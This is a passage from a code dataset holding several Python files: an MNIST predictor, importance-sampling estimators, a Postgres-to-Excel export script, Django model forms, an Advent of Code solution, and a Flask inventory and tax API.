"src.global_conf.GlobalConf.stage_port", "line_number": 61, "usage_type": "attribute"}, {"api_name": "src.global_conf.GlobalConf", "line_number": 61, "usage_type": "name"}]}
{"seq_id": "15041021511", "text": "import re\nimport numpy as np\nfrom PIL import Image\nimport io\nimport base64\nimport tensorflow as tf\n\nclass Pred(object):\n\tdef __init__(self):\n\t\t\tself.sess = tf.Session()\n\n\t\t\t# 载入模型并且填充参数\n\t\t\tsaver = tf.train.import_meta_graph('tmp/model.ckpt.meta')\n\t\t\tsaver.restore(self.sess, 'tmp/model.ckpt')\n\t\t\tgraph = tf.get_default_graph()\n\t\t\tself.x = graph.get_operation_by_name('x').outputs[0]\n\t\t\tself.keep_prob = graph.get_operation_by_name('keep_prob').outputs[0]\n\n\t\t\t# tf.get_colliection 会返回 tf.add_to_collection 所设置的预测方法\n\t\t\tself.pred = tf.get_collection('pred')[0]\n\n\tdef response(self,dataURL):\n\t\t\t\tarr_x = self.changeImage(dataURL)\n\t\t\t\tresult = self.sess.run(self.pred,feed_dict={self.x:arr_x,self.keep_prob: 1.0})[0]\n\t\t\t\treturn str(result)\n\n\tdef changeImage(self,dataUrl):\n\t\tdataUrl = re.sub('^data:image/.+;base64,','',dataUrl)\n\t\timage_s = base64.b64decode(dataUrl)\n\t\timage=io.BytesIO(image_s)\n\t\timg = Image.open(image).convert('L')\n\t\tif img.size[0] != 28 or img.size[1] != 28:\n\t\t\timg = img.resize((28, 28))\n\t\tarr = []\n\t\tfor i in range(28):\n\t\t\tfor j in range(28):\n\t\t\t\tpixel = 1.0 - float(img.getpixel((j, i)))/255.0\n\t\t\t\tarr.append(pixel)\n\t\tarr_x = np.array(arr).reshape((1,784))\n\t\treturn arr_x", "repo_name": "NoisyWinds/MachineLearning", "sub_path": "CNN/pred.py", "file_name": "pred.py", "file_ext": "py", "file_size_in_byte": 1231, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "81", "api": [{"api_name": "tensorflow.Session", "line_number": 10, "usage_type": "call"}, {"api_name": "tensorflow.train.import_meta_graph", "line_number": 13, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 13, "usage_type": "attribute"}, {"api_name": "tensorflow.get_default_graph", "line_number": 15, "usage_type": "call"}, {"api_name": "tensorflow.get_collection", "line_number": 20, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 28, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 29, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 30, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 31, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 31, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 39, "usage_type": "call"}]}
{"seq_id": "564956068", "text": "import numpy as np\nimport random\nimport scipy as sp\n\n\nimport numpy as np\nimport scipy as sp\nfrom scipy.stats import nct\nimport matplotlib.pyplot as plt\nfrom sklearn.mixture import GaussianMixture\nfrom scipy.stats import norm\nfrom datetime import datetime\nfrom scipy.stats import gamma, norm\nfrom scipy.integrate import quad\n\n\n### compute ground truth for TARIS\ndef compute_ground_truth_TARIS(data):\n    ground_truth_array = np.zeros(len(data['ground_truths']))\n    for j in range(len(data['ground_truths'])):\n        def f(x):\n            return min(15000, max(0, 50 * (x - 4)**5))\n        \n        y = data['y'][j]\n        mu = (5 + y) / 2\n        sigma = 1 / np.sqrt(2)\n\n        expected_value, _ = quad(lambda x: f(x) * norm.pdf(x, loc=mu, scale=sigma), -np.inf, np.inf)\n        ground_truth_array[j] = expected_value\n    \n    return ground_truth_array\n\n\n### compute TARIS for different n sizes\n\ndef compute_TARIS_for_n(data, n, ground_truth_array):\n    ReMSE_TARIS_array = np.zeros(len(data['ground_truths']))\n    TARIS_array = np.zeros(len(data['ground_truths']))\n\n    for j in range(len(data['ground_truths'])):\n        w_q_ratio = np.exp(data['log_w_q_ratio'][j][:n])\n        f_x_array = data['f_x_samples_q_ratio'][j][:n]\n        \n        # get f_x as array\n        f_x_array = np.zeros(n)\n        \n        for i in range(n):\n            f_x_array[i] = data['f_x_samples_q_ratio'][j][i]\n\n        for i in range(n):\n            f_x_array[i] = f_x_array[i]**2\n\n\n        # Calculate estimator\n        TARIS_array[j] = np.sum(f_x_array * w_q_ratio) / np.sum(w_q_ratio)\n\n        # Calculate ReMSE\n        ReMSE_TARIS_array[j] = (TARIS_array[j] - ground_truth_array[j])**2 / (ground_truth_array[j]**2)\n\n    return ReMSE_TARIS_array, TARIS_array\n\n### compute ground truth for TABI\n\ndef compute_ground_truth_TABI(data_1):\n    ground_truth_array = np.zeros(len(data_1['ground_truths']))\n    for j in range(len(data_1['ground_truths'])):\n        def f(x):\n            return min(15000, max(0, 50 * (x - 4)**5))\n        \n        y = data_1['y'][j]\n        mu = (5 + y) / 2\n        sigma = 1 / np.sqrt(2)\n\n        expected_value, _ = quad(lambda x: f(x) * norm.pdf(x, loc=mu, scale=sigma), -np.inf, np.inf)\n        ground_truth_array[j] = expected_value\n    \n    return ground_truth_array\n\n# compute TABI for different n sizes\n\ndef compute_TABI_for_n(data_1, data_2, n, ground_truth_array):\n    ReMSE_TABI_array = np.zeros(len(data_1['ground_truths']))\n    TABI_array = np.zeros(len(data_1['ground_truths']))\n\n    for j in range(len(data_1['ground_truths'])):\n        w_q1 = np.exp(data_1['log_w_q1'][j][:n])\n        w_q2 = np.exp(data_2['log_w_q2'][j][:n])\n        f_x_array = data_1['f_x_samples_q1'][j][:n]\n        \n        # get f_x as array\n        f_x_array = np.zeros(n)\n\n        for i in range(n):\n            f_x_array[i] = data_1['f_x_samples_q1'][j][i]\n\n        # Calculate estimator\n        TABI_array[j] = np.sum(f_x_array * w_q1) / np.sum(w_q2)\n\n        # Calculate ReMSE\n        ReMSE_TABI_array[j] = (TABI_array[j] - ground_truth_array[j])**2 / (ground_truth_array[j]**2)\n\n    return ReMSE_TABI_array, TABI_array", "repo_name": "FlorianWittstock/MSc_Thesis_Submission", "sub_path": "Amortized Toy example/estimators.py", "file_name": "estimators.py", "file_ext": "py", "file_size_in_byte": 3124, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.zeros", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 26, "usage_type": "call"}, {"api_name": "scipy.integrate.quad", "line_number": 28, "usage_type": "call"}, {"api_name": "scipy.stats.norm.pdf", "line_number": 28, "usage_type": "call"}, {"api_name": "scipy.stats.norm", "line_number": 28, "usage_type": "name"}, {"api_name": "numpy.inf", "line_number": 28, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 72, "usage_type": "call"}, {"api_name": "scipy.integrate.quad", "line_number": 74, "usage_type": "call"}, {"api_name": "scipy.stats.norm.pdf", "line_number": 74, "usage_type": "call"}, {"api_name": "scipy.stats.norm", "line_number": 74, "usage_type": "name"}, {"api_name": "numpy.inf", "line_number": 74, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 97, "usage_type": "call"}]}
{"seq_id": "18389988114", "text": "import os\nimport pandas as pd\nimport psycopg2\nfrom datetime import date\n\nfrom openpyxl.styles import PatternFill\nfrom openpyxl.utils import get_column_letter\n\n\ndef calculate_points(row):\n    # Подсчет баллов на основе полей question\n    points = 0\n    for i in range(1, 10):\n        if row[f'Задание{i}'] == \"выполнено\":\n            points += 1\n    return points\n\n\ndef map_boolean_to_status(value):\n    if value == True:\n        return 'выполнено'\n    else:\n        return 'не выполнено'\n\n\ndef export_data():\n    conn = psycopg2.connect(\n        dbname='virus',\n        user='virus',\n        password='virus',\n        host='localhost',\n        port='5010'\n    )\n    cur = conn.cursor()\n\n    # Выбор необходимых полей из таблицы tasks\n    query = '''\n    SELECT \n        chat_id,\n        name,\n        question_1,\n        question_2,\n        question_3,\n        question_4,\n        question_5,\n        question_6,\n        question_7,\n        question_8,\n        question_9\n    FROM tasks\n    '''\n    cur.execute(query)\n    data = cur.fetchall()\n\n    # Создание DataFrame\n    columns = [\n        'Chat id',\n        'Название команды',\n        'Задание1',\n        'Задание2',\n        'Задание3',\n        'Задание4',\n        'Задание5',\n        'Задание6',\n        'Задание7',\n        'Задание8',\n        'Задание9',\n    ]\n\n    df = pd.DataFrame(data, columns=columns)\n\n    # Преобразование значений \"true\" и \"false\" в \"выполнено\" и \"не выполнено\"\n    df[['Задание1', 'Задание2', 'Задание3', 'Задание4', 'Задание5', 'Задание6', 'Задание7', 'Задание8', 'Задание9']] = \\\n    df[['Задание1', 'Задание2', 'Задание3', 'Задание4', 'Задание5', 'Задание6', 'Задание7', 'Задание8',\n        'Задание9']].applymap(map_boolean_to_status)\n\n    # Вычисление баллов с использованием функции calculate_points\n    df['Баллы'] = df.apply(calculate_points, axis=1)\n\n    current_date = date.today()\n    file_path = os.path.join(os.getcwd(), f'{current_date}.xlsx')\n\n    # Экспорт DataFrame в Excel с использованием контекстного менеджера\n    with pd.ExcelWriter(file_path, engine='openpyxl') as writer:\n        df.to_excel(writer, index=False, sheet_name='Sheet1')\n\n        # Получение объекта рабочей книги\n        workbook = writer.book\n        worksheet = writer.sheets['Sheet1']\n\n        # Создание объекта для заливки ячеек зеленым цветом\n        fill = PatternFill(start_color='00FF00', end_color='00FF00', fill_type='solid')\n\n        # Поиск всех ячеек со значением \"выполнено\" и применение заливки\n        for row in worksheet.iter_rows(min_row=2, max_row=worksheet.max_row, min_col=3, max_col=12):\n            for cell in row:\n                if cell.value == 'выполнено':\n                    cell.fill = fill\n\n        # Автоподбор ширины столбцов\n        for col in worksheet.columns:\n            max_length = 0\n            column = get_column_letter(col[0].column)\n            for cell in col:\n                try:\n                    if len(str(cell.value)) > max_length:\n                        max_length = len(cell.value)\n                except:\n                    pass\n            adjusted_width = (max_length + 2)\n            worksheet.column_dimensions[column].width = adjusted_width\n\n    return file_path\n", "repo_name": "Dims24/kvest-virus", "sub_path": "Export/export.py", "file_name": "export.py", "file_ext": "py", "file_size_in_byte": 3793, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "psycopg2.connect", "line_number": 27, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 70, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 80, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 80, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 81, "usage_type": "call"}, {"api_name": "pandas.ExcelWriter", "line_number": 84, "usage_type": "call"}, {"api_name": "openpyxl.styles.PatternFill", "line_number": 92, "usage_type": "call"}, {"api_name": "openpyxl.utils.get_column_letter", "line_number": 103, "usage_type": "call"}]}
{"seq_id": "33634667346", "text": "from django import forms\r\nfrom django.forms import ModelForm\r\nfrom login.models import Team, Team_Stat, Coach, Nation, Sponsor, Player, Player_Stat, Regulation\r\nfrom django.forms import widgets\r\nimport datetime\r\nfrom django.core.exceptions import ValidationError\r\nfrom datetime import date\r\n# Create a Player form\r\n\r\nclass TeamSearchForm(forms.Form):\r\n    team_name = forms.CharField(label='Team Name', max_length=100, widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Search', 'name': 'team_name'}))\r\n\r\nclass TeamForm(ModelForm):\r\n    class Meta:\r\n        model = Team\r\n        exclude = ['country','status']\r\n    \r\n    sponsors = forms.ModelMultipleChoiceField(queryset=Sponsor.objects.all())\r\n    team_image = forms.ImageField(required=True)\r\n    def __init__(self, *args, **kwargs):\r\n        super().__init__(*args, **kwargs)\r\n        # Add Bootstrap classes to form fields\r\n        for field_name, field in self.fields.items():\r\n            field.widget.attrs['class'] = 'form-control'\r\n\r\n    # Add Bootstrap classes to form labels\r\n    def label_tag(self, label=None, attrs=None, label_suffix=None):\r\n        attrs = attrs or {}\r\n        attrs['class'] = 'form-label'\r\n        return super().label_tag(label, attrs, label_suffix)\r\n\r\nclass PlayerForm(ModelForm):\r\n    class Meta:\r\n        model = Player\r\n        exclude = ['player_type']\r\n    \r\n    dob = forms.DateField(widget=widgets.DateInput(attrs={'type': 'date'}), initial=datetime.date.today())\r\n    image = forms.ImageField(required=True)\r\n    def __init__(self, *args, **kwargs):\r\n        super().__init__(*args, **kwargs)\r\n        # Add Bootstrap classes to form fields\r\n        for field_name, field in self.fields.items():\r\n            field.widget.attrs['class'] = 'form-control'\r\n\r\n    # Add Bootstrap classes to form labels\r\n    def label_tag(self, label=None, attrs=None, label_suffix=None):\r\n        attrs = attrs or {}\r\n        attrs['class'] = 'form-label'\r\n        return super().label_tag(label, attrs, label_suffix)\r\n    def save(self, commit=True):\r\n\r\n        player = super().save(commit=commit)\r\n        if commit:\r\n            if player.nationality == player.team.country:\r\n                player.player_type = 'local'\r\n            else:\r\n                player.player_type = 'foreign'\r\n            player.save()\r\n        else:\r\n            player_stat = None\r\n        return player\r\n\r\n    def clean(self):\r\n        cleaned_data = super().clean()\r\n        dob = cleaned_data.get('dob')\r\n        regulation = Regulation.objects.get(pk=1)\r\n        # Kiểm tra tuổi cầu thủ hợp lệ hay không\r\n        if dob:\r\n            today = date.today()\r\n            age = today.year - dob.year\r\n\r\n            if age < regulation.minage or age > regulation.maxage:\r\n                self.add_error('dob', \"Invalid date of birth. Player's age must be between 16 and 40 years.\")\r\n        return cleaned_data\r\n\r\nclass CoachForm(ModelForm):\r\n    class Meta:\r\n        model = Coach\r\n        fields = \"__all__\"\r\n    \r\n    coach_image = forms.ImageField(required=True)\r\n    dob = forms.DateField(widget=widgets.DateInput(attrs={'type': 'date'}), initial=datetime.date.today())\r\n    def __init__(self, *args, **kwargs):\r\n        super().__init__(*args, **kwargs)\r\n        # Add Bootstrap classes to form fields\r\n        for field_name, field in self.fields.items():\r\n            field.widget.attrs['class'] = 'form-control'\r\n\r\n    # Add Bootstrap classes to form labels\r\n    def label_tag(self, label=None, attrs=None, label_suffix=None):\r\n        attrs = attrs or {}\r\n        attrs['class'] = 'form-label'\r\n        return super().label_tag(label, attrs, label_suffix)\r\n    def clean(self):\r\n        cleaned_data = super().clean()\r\n        dob = cleaned_data.get('dob')\r\n        regulation = Regulation.objects.get(pk=1)\r\n        # Kiểm tra tuổi cầu thủ hợp lệ hay không\r\n        if dob:\r\n            today = date.today()\r\n            age = today.year - dob.year\r\n\r\n            if age < regulation.minage:\r\n                self.add_error('dob', \"Invalid date of birth. Manager's age must greater than \"+ str(regulation.minage)+\".\")\r\n    ", "repo_name": "LukasAbraham/Django-EPL-Management-App", "sub_path": "teams/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 4141, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.forms.Form", "line_number": 10, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 10, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 11, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 11, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 11, "usage_type": "call"}, {"api_name": "django.forms.ModelForm", "line_number": 13, "usage_type": "name"}, {"api_name": "login.models.Team", "line_number": 15, "usage_type": "name"}, {"api_name": "django.forms.ModelMultipleChoiceField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 18, "usage_type": "name"}, {"api_name": "login.models.Sponsor.objects.all", "line_number": 18, "usage_type": "call"}, {"api_name": "login.models.Sponsor.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "login.models.Sponsor", "line_number": 18, "usage_type": "name"}, {"api_name": "django.forms.ImageField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 19, "usage_type": "name"}, {"api_name": "django.forms.ModelForm", "line_number": 32, "usage_type": "name"}, {"api_name": "login.models.Player", "line_number": 34, "usage_type": "name"}, {"api_name": "django.forms.DateField", "line_number": 37, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 37, "usage_type": "name"}, {"api_name": "django.forms.widgets.DateInput", "line_number": 37, "usage_type": "call"}, {"api_name": "django.forms.widgets", "line_number": 37, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 37, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 37, "usage_type": "attribute"}, {"api_name": "django.forms.ImageField", "line_number": 38, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 38, "usage_type": "name"}, {"api_name": "login.models.Regulation.objects.get", "line_number": 66, "usage_type": "call"}, {"api_name": "login.models.Regulation.objects", "line_number": 66, "usage_type": "attribute"}, {"api_name": "login.models.Regulation", "line_number": 66, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 69, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 69, "usage_type": "name"}, {"api_name": "django.forms.ModelForm", "line_number": 76, "usage_type": "name"}, {"api_name": "login.models.Coach", "line_number": 78, "usage_type": "name"}, {"api_name": "django.forms.ImageField", "line_number": 81, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 81, "usage_type": "name"}, {"api_name": "django.forms.DateField", "line_number": 82, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 82, "usage_type": "name"}, {"api_name": "django.forms.widgets.DateInput", "line_number": 82, "usage_type": "call"}, {"api_name": "django.forms.widgets", "line_number": 82, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 82, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 82, "usage_type": "attribute"}, {"api_name": "login.models.Regulation.objects.get", "line_number": 97, "usage_type": "call"}, {"api_name": "login.models.Regulation.objects", "line_number": 97, "usage_type": "attribute"}, {"api_name": "login.models.Regulation", "line_number": 97, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 100, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 100, "usage_type": "name"}]}
{"seq_id": "38137805357", "text": "from collections import Counter\n\nmin = 125730\nmax = 579381\nincreasing_digits = []\nvalid_pw = []\n\nfor num in range(min, max):\n    digits = [ int(char) for char in str(num) ]\n    if sorted(digits) == digits:\n        increasing_digits.append(num)\n\n\n\nfor num in increasing_digits:\n\n    digits = [ int(char) for char in str(num) ]\n\n    mydict = Counter(digits)\n    print(mydict)\n    for key in mydict: \n        if key == 2:\n            valid_pw.append(num)\n\n\n# xdzprint(valid_pw)", "repo_name": "hoffmantim/advent-of-code-practice", "sub_path": "Day_4/v2_day_4.py", "file_name": "v2_day_4.py", "file_ext": "py", "file_size_in_byte": 474, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.Counter", "line_number": 19, "usage_type": "call"}]}
{"seq_id": "23163446916", "text": "#!rest-api/bin/python\n\nfrom flask import Flask, request, jsonify#, copy_current_request_context\nfrom flask_restful import Resource, Api\nfrom json import dumps\nimport datetime, socket, sqlite3\n\napp = Flask(__name__)\napi = Api(app)\n\nclass GetItemInfo_Meta(Resource):\n#This returns a single item information, given a store code and upc.\n\tdef get(self,store_code, upc, external_IPAddress, internal_IPAddress):\n\t\t\n\t\treal_IPAddress = request.environ.get('HTTP_X_REAL_IP', request.remote_addr)\n\t\tprint ('\\n\\n\\n-------------------\\n New Request from: ' + real_IPAddress)\n\t\t\n\t\tprint ('#######    NEW ITEM INFO REQUEST - ' +  str(datetime.datetime.now()) + '    #######')\n\t\t\n\t\t#Connect to the databases\n\t\tconn = sqlite3.connect('ShopAndScan.db')\n\t\tlogconn = sqlite3.connect('RequestLog.db')\n\t\t\n\t\t#Perform query and return row with that store and items base data\n\t\t#Note that the below is safe from SQL Injection attacks.  See https://www.athenic.net/posts/2017/Jan/21/preventing-sql-injection-in-python/\n\t\tquery = conn.execute(\"SELECT RecordID, StoreCode, Upc, Fineline, LinkedItem, ReportDescription,\tPosDescription,\tProductActive, \\\n\t\t\tPriceMethod, RegularRetail, BreakQty, SpecialPrice FROM Products WHERE UPC = ? AND StoreCode =?\", (upc, store_code.upper()))\n\t\t\t\t\n\t\t#Get the data in the results, and also get the column names which is the [0] result using the .description\n\t\tqueryResult = (query.fetchone())\n\t\t\n\t\t#First, make sure that a valid row in the DB exists.\n\t\tif str(queryResult) == 'None':\n\t\t\t#Invalid store code, log the error and return 'Invalid Store Code'\t\t\t\n\t\t\tprint ('Error, supplied store_code ' + store_code.upper() + ' and UPC ' + upc+ ' did not match any records')\n\t\t\treturn ('ERROR:Invalid Store Code or item')\n\t\telse:\n\t\t\tprint ('Returned base data for UPC ' + str(queryResult[2]) )\n\t\t\tcolumns = [desc[0] for desc in query.description]\n\t\t\t# Since we have at least one result, make a dictionary format answer of column name and resulting values\n\t\t\t# e.g. 'RecordID': 4, 'StoreCode': '0001', 'Upc': '005', 'Fineline': 'DEPOSIT'\n\t\t\t# See https://stackoverflow.com/questions/12270679/how-to-use-column-names-when-creating-json-object-python for information on this.\n\t\t\tanswer1 = dict(zip(columns, queryResult))\n\t\t\n\t\t#Perform query and return row with that store and items tax data\n\t\t#Note that the below is safe from SQL Injection attacks.  See https://www.athenic.net/posts/2017/Jan/21/preventing-sql-injection-in-python/\n\t\tquery = conn.execute(\"SELECT Tax1Status, Tax1Rate, Tax2Status, Tax2Rate, Tax3Status, Tax3Rate, Tax4Status, Tax4Rate, Tax5Status, Tax5Rate, \\\n\t\t\tTax6Status, Tax6Rate, Tax7Status, Tax7Rate, Tax8Status, Tax8Rate, Tax9Status, Tax9Rate, Tax10Status, Tax10Rate, Tax11Status, Tax11Rate, \\\n\t\t\tTax12Status, Tax12Rate, Tax13Status, Tax13Rate, Tax14Status, Tax14Rate, Tax15Status, Tax15Rate, Tax16Status, Tax16Rate, Tax17Status, Tax17Rate, \\\n\t\t\tTax18Status, Tax18Rate, Tax19Status, Tax19Rate, Tax20Status, Tax20Rate, Tax21Status, Tax21Rate, Tax22Status, Tax22Rate, Tax23Status, Tax23Rate, \\\n\t\t\tTax24Status, Tax24Rate, Tax25Status, Tax25Rate, Tax26Status, Tax26Rate, Tax27Status, Tax27Rate, Tax28Status, Tax28Rate, Tax29Status, Tax29Rate, \\\n\t\t\tTax30Status, Tax30Rate, Tax31Status, Tax31Rate, Tax32Status, Tax32Rate, Tax33Status, Tax33Rate, Tax34Status, Tax34Rate, Tax35Status, Tax35Rate, \\\n\t\t\tTax36Status, Tax36Rate, Tax37Status, Tax37Rate, Tax38Status, Tax38Rate, Tax39Status, Tax39Rate, Tax40Status, Tax40Rate \\\n\t\t\tFROM Products WHERE UPC = ? AND StoreCode =?\", (upc, store_code.upper()))\n\t\t\t\t\n\t\t#Get the data in the results, and also get the column names which is the [0] result using the .description\n\t\tqueryResult = (query.fetchone())\n\t\t\n\t\t#First, make sure that a valid row in the DB exists.\n\t\tif str(queryResult) == 'None':\n\t\t\t#Invalid store code, log the error and return 'Invalid Store Code'\t\t\t\n\t\t\tprint ('Error, supplied store_code ' + store_code.upper() + ' and UPC ' + upc+ ' did not match any records')\n\t\t\treturn ('ERROR:Invalid Store Code or item')\n\t\telse:\n\t\t\tprint ('Returned tax data for UPC ' + upc )\n\t\t\tcolumns = [desc[0] for desc in query.description]\n\t\t\t# Since we have at least one result, make a dictionary format answer of column name and resulting values\n\t\t\t# e.g. 'RecordID': 4, 'StoreCode': '0001', 'Upc': '005', 'Fineline': 'DEPOSIT'\n\t\t\t# See https://stackoverflow.com/questions/12270679/how-to-use-column-names-when-creating-json-object-python for information on this.\n\t\t\tanswer2 = dict(zip(columns, queryResult))\n\t\t\t\t\t\n\t\t\t#Iterate through the answer2 and create a new nested dictionary in the format Matt B. likes it.\n\t\t\t#\n\t\t\t# Taxes\n\t\t\t#\t|\n\t\t\t#\t----0\n\t\t\t#\t\t|- Status: True\n\t\t\t#\t\t|- Rate: 5.00\n\t\t\t#\t----1\n\t\t\t#\t\t|- Status: False\n\t\t\t#\t\t|- Rate: \n\t\t\t#\t...and so on..\n\t\t\t\n\t\t\t#Initialize the taxes dictionary\n\t\t\ttaxes = {}\n\t\t\t\n\t\t\t#For each line in answers 2, add to a sub-dictionary\n\t\t\tfor k, v in answer2.items():\n\t\t\t\t#print (k,v)\n\t\t\t\t\n\t\t\t\t#Get about the number for this item. e.g. Tax40status becomes 40, tax2status becomes 2.\n\t\t\t\tnumber = ''.join(x for x in k if x.isdigit())\n\t\t\t\t\t\t\t\t\n\t\t\t\t#initialize the dictionary for this number *if* it doesn't already exist\n\t\t\t\tif not number in taxes: \n\t\t\t\t\ttaxes[number] = {}\n\t\t\t\t\n\t\t\t\t#Add the status or rate depending on which this is\n\t\t\t\tif \"Status\" in k:\n\t\t\t\t\ttaxes[number]['status'] = v\n\t\t\t\t\t#print (taxes[number])\n\t\t\t\telif \"Rate\" in k:\n\t\t\t\t\ttaxes[number]['rate'] = v\n\t\t\t\t\t#print (taxes[number])\n\t\t\t\telse:\n\t\t\t\t\tprint (\"Error - neither status nor rate\")\n\t\t\t\n\t\t#Add the taxes dictionary (including all sub-dictionaries) to the answer1.  This will have the key taxes and the values of the \"taxes\" dictionary, thus creating \n\t\t# a multi level dictionary like the one shown above\n\t\tanswer1.update( {'taxes' : taxes} )\n\t\t\n\t\t#Before we query the request, log it\n\t\tnow = datetime.datetime.now()\n\t\trequestType = 'GetItemInfo'\n\t\tquery = logconn.execute(\"INSERT INTO RequestLog(DateTime, RequestType, StoreCode, Upc, ExternalIPAddress, InternalIPAddress, \\\n\t\t\tRealIPAddress) VALUES(?,?,?,?,?,?,?)\", (now, requestType, store_code.upper(), upc, external_IPAddress, internal_IPAddress, real_IPAddress))\n\t\t\t\t\n\t\t# Save (commit) the changes and close the DBs\n\t\tconn.commit()\n\t\tlogconn.commit()\n\t\tconn.close()\n\t\tlogconn.close()\n\t\t\n\t\t#Send an answer back.  Note that there's a lot of ways to do this below.  I worked with Matt in it was preferable for him to use JSON. \n\t\treturn jsonify(answer1)\n\n\t\t\nclass CheckValidStore_Meta(Resource):\n#This returns confirms if a store code is valid, returning either true or false.\n\tdef get(self,store_code, external_IPAddress, internal_IPAddress):\n\t\t\n\t\treal_IPAddress = request.environ.get('HTTP_X_REAL_IP', request.remote_addr)\n\t\tprint ('\\n\\n\\n-------------------\\n New Request from: ' + real_IPAddress)\n\t\t\n\t\tprint ('#######    New CheckValidStore request - ' +  str(datetime.datetime.now()) + '    #######')\n\t\t\n\t\t#Connect to the databases\n\t\tconn = sqlite3.connect('ShopAndScan.db')\n\t\tlogconn = sqlite3.connect('RequestLog.db')\n\t\t\n\t\t#Before we query the request, log it\n\t\tnow = datetime.datetime.now()\n\t\trequestType = 'CheckValidStore'\n\t\tquery = logconn.execute(\"INSERT INTO RequestLog(DateTime, RequestType, StoreCode, ExternalIPAddress, InternalIPAddress, \\\n\t\t\tRealIPAddress) VALUES(?,?,?,?,?,?)\", (now, requestType, store_code.upper(), external_IPAddress, internal_IPAddress, real_IPAddress))\n\t\t\t\t\n\t\t#Perform query to check for a valid store\n\t\t#Note that the below is safe from SQL Injection attacks.  See https://www.athenic.net/posts/2017/Jan/21/preventing-sql-injection-in-python/\n\t\tquery = conn.execute(\"SELECT * FROM Stores WHERE StoreCode = ?\", ([store_code.upper()]))\n\t\t\n\t\t#Get the data in the results, and also get the column names which is the [0] result using the .description\n\t\tqueryResult = (query.fetchone())\n\t\n\t\t# Save (commit) the changes and close the DBs\n\t\tconn.commit()\n\t\tlogconn.commit()\n\t\tconn.close()\n\t\tlogconn.close()\n\t\t\t\n\t\t#Vary answer based on if a valid row in the DB exists.\n\t\tif str(queryResult) == 'None':\n\t\t\t#Invalid store code, log the error and return 'Invalid Store Code'\t\t\t\n\t\t\tprint ('Error, supplied store_code ' + store_code.upper() + ' did not match any records')\n\t\t\treturn ('False')\n\t\telse:\n\t\t\tprint ('Returned data for UPC ' + str(queryResult) )\n\t\t\treturn ('True')\n\t\t\t\n\n\t\nclass GetTransactionItems_Meta(Resource):\n#This returns products in an order, given a store code and OrderID.\n\tdef get(self,store_code, OrderID, external_IPAddress, internal_IPAddress):\n\t\t\n\t\treal_IPAddress = request.environ.get('HTTP_X_REAL_IP', request.remote_addr)\n\t\tprint ('\\n\\n\\n-------------------\\n New Request from: ' + real_IPAddress)\n\t\t\n\t\tprint ('#######    GetTransactionItems Request - ' +  str(datetime.datetime.now()) + '    #######')\n\t\t\n\t\t#Connect to the databases\n\t\tconn = sqlite3.connect('ShopAndScan.db')\n\t\tlogconn = sqlite3.connect('RequestLog.db')\n\t\t\n\t\t#Perform query and return row with that order's data\n\t\t#Note that the below is safe from SQL Injection attacks.  See https://www.athenic.net/posts/2017/Jan/21/preventing-sql-injection-in-python/\n\t\tquery = conn.execute(\"SELECT * FROM OpenOrders WHERE RecordID = ? AND StoreCode =?\", (OrderID, store_code.upper()))\n\t\t\n\t\t#Get the data in the results, and also get the column names which is the [0] result using the .description\n\t\tqueryResult = (query.fetchone())\n\t\t\n\t\t#First, make sure that a valid row in the DB exists.\n\t\tif str(queryResult) == 